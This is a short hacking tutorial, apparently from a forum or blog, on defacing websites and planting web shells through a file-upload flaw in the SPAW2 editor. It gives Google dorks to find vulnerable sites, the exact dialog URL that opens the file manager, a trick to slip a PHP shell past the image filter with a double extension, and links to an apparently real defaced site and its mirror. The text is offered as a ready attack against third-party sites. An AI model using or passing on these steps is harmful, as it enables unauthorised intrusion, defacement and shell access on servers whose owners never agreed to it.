Spaw : Deface and Shell Upload Vunerablity

Thnks to devilscafe.in owner Minhal Mehdi
Lets Start
open www.google.com
enter The Dork 
inurl:"spaw2/dialogs/"
OR
inurl:"spaw2/uploads/files/"
You will Got results Like this "Index of/ spaw2/dialogs/" or : site.com/abc/spaw2/uploads/files/abc/abc.pdf

Now replace The Spaw2/Uploads/abc/abc ur with this url spaw2/dialogs/dialog.php?module=spawfm&dialog=spawfm&theme=spaw2&lang=es&charset=&scid=cf73b58bb51c52235494da752d98cac9&type=files
 

if you want to Upload deface page then Select files option ... and i f you want to upload shell then select  image option and upload your shell as shell.php;,jpg

 http://kasht.com.ua/spaw2/uploads/files/jaguar.html
Mirror
http://www.arab-zone.org/mirror/18064/kasht.com.ua/spaw2/uploads/files/jaguar.html